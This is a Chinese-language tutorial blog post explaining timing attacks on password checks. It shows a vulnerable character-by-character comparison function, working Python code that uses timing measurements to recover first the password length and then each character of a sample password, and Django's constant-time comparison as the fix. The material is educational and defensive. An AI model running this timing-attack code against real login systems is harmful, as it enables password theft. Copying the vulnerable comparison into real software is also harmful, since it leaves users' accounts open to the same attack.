前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >用 Python 告诉你什么是计时攻击

用 Python 告诉你什么是计时攻击

作者头像
somenzz
发布2021-11-04 16:27:52
8610
发布2021-11-04 16:27:52
举报
文章被收录于专栏:Python七号

用户密码登陆是一个系统常见的鉴权方法,如果处理不当就会隐藏计时攻击漏洞。本文用 Python 告诉你什么是计时攻击,如何进行计时攻击,以及怎么避免。

什么是计时攻击

比如说你验证密码时是按照字符串一位一位的比较,如果某一位不匹配,就返回 False,这样就中招了。因为正确的密码必然需要每一位都参与比较,这样,攻击者就统计不同长度的输入所消耗的时间,消耗时间最长的,就是正确的密码长度。在这个密码长度之下,再逐位通过计时攻击进行破解,消耗时间较长的那个字符就是正确的,时间复杂度也就是O(n*k),n 允许的字符数量,k 表示密码长度。

用 Python 进行计时攻击

比如说你使用这样的方法来验证用户登陆:

代码语言:javascript
复制
password_database = {"somenzz": "subscribe to python seven"}

def check_password(user, guess):
    actual = password_database[user]
    if len(guess) != len(actual):
        return False
    
    # 逐个字符比较
    for i in range(len(actual)):
        if guess[i] != actual[i]:
            return False
    return True

上面代码的逻辑虽然清晰,却存在计时攻击漏洞,因为长度不一样就返回了,花费的时间最少,当长度正确时需要逐个字符比较,花费时间最长。根据程序的执行耗时可以爆破出正确的密码长度。

比如说穷举 1-30 长度的密码,花费时间最长的那个一定是正确的密码长度,因此可以编写下面的代码来破解密码长度:

代码语言:javascript
复制
import string
import timeit
import numpy as np

allowed_chars = string.ascii_lowercase + " "

def random_str(size):
    return ''.join(random.choices(allowed_chars, k=size))


def crack_length(user, max_len=30, verbose=False) -> int:
    trials = 2000
    times = np.empty(max_len)
    for i in range(max_len):
        i_time = timeit.repeat(stmt='check_password(user, x)',
                               setup=f'user={user!r};x=random_str({i!r})',
                               globals=globals(),
                               number=trials,
                               repeat=10)
        times[i] = min(i_time)

    if verbose:
        # 排序,取最大的前 5 个
        most_likely_n = np.argsort(times)[::-1][:5]
        print(most_likely_n, times[most_likely_n] / times[most_likely_n[0]])

    #取最大
    most_likely = int(np.argmax(times))
    return most_likely 

 def main():
    user = "somenzz"
    length = crack_length(user, verbose=True)
    print(f"密码最可能的长度是 {length}")   

if __name__ == '__main__':
    main()

执行结果如下:

有了长度,就可以逐个字符破解了,先随机一个 25 位长度的字符串,记为 guess,然后从第一位开始逐位爆破尝试,如果正确,那花费的时间肯定比之前的多,然后就更新 guess,就这样可以爆破出全部的字符串,运行期间如果通过了 check_password,那就返回结果,终止运行,代码如下:

代码语言:javascript
复制
import itertools
import string
import timeit
import numpy as np

"""
将上面的代码复制过来
"""
def crack_password(user, length, verbose=False):
    guess = random_str(length)
    print(f"{guess=}")
    counter = itertools.count()
    print(f"{counter =}")
    trials = 1000
    while True:
        i = next(counter) % length
        for c in allowed_chars:
            alt = guess[:i] + c + guess[i + 1:]

            alt_time = timeit.repeat(stmt='check_password(user, x)',
                                     setup=f'user={user!r};x={alt!r}',
                                     globals=globals(),
                                     number=trials,
                                     repeat=10)
            guess_time = timeit.repeat(stmt='check_password(user, x)',
                                       setup=f'user={user!r};x={guess!r}',
                                       globals=globals(),
                                       number=trials,
                                       repeat=10)

            if check_password(user, alt):
                return alt

            if min(alt_time) > min(guess_time):
                guess = alt
                if verbose:
                    print(guess)

                    
def main():
    user = "somenzz"
    length = crack_length(user, verbose=True)
    print(f"密码最可能的长度是 {length}")
    input("按回车继续破解密码...")
    password = crack_password(user, length, verbose=True)
    print(f"password cracked:'{password}'")


if __name__ == '__main__':
    main()

运行效果如下:

代码语言:javascript
复制
crack_password cost 40.3145 seconds

考虑到都是小写字母,时间复杂度也就是 O(n*k),n 字符的数量,k 表示密码长度,本案例中也就是 O(26*25), 在我的电脑上 40 秒就破解了,是不是很神奇?

怎么解决计时攻击?

文章开头提到的那种验证字符串是否相等的写法可以说很常见,如果某一位长度不等就没必要继续向右判断了,直接返回即可,还可以提升一点性能,但却会造成计时攻击,作为程序员的你,此时是否觉得有点懵呢?写代码还真是一点点都不能松懈啊。

其实,安全永远是高于性能的,一个不安全的系统,在高的性能恐怕也没人敢用。

那字符串比较最安全的办法是什么呢?那就是把所有的位都比较一遍,可以参考 Django 判断字符串相等的源码:

代码语言:javascript
复制
def constant_time_compare(val1, val2):
    """
    Returns True if the two strings are equal, False otherwise.
    The time taken is independent of the number of characters that match.
    For the sake of simplicity, this function executes in constant time only
    when the two strings have the same length. It short-circuits when they
    have different lengths.
    """
    if len(val1) != len(val2):
        return False
    result = 0
    for x, y in zip(val1, val2):
        result |= ord(x) ^ ord(y)
    return result == 0

不过,上述代码你仍然可以通过计时爆破出长度,却不可能通过统计时间爆破出具体的密码。

如果你不想被爆破出密码的长度,可以将判断长度的逻辑删除,然后补全字符串的长度,让两个字符串的长度始终相等即可。

最后的话

本文分享了什么是计时攻击,用 Python 演示了如何通过计时攻击破解密码长度及破解最终的密码,最后分享了如何解决计时攻击漏洞。如果有帮助的话,还请点赞、关注、转发,感谢老铁的阅读。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-10-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Python七号 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 什么是计时攻击
  • 用 Python 进行计时攻击
  • 怎么解决计时攻击?
  • 最后的话
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档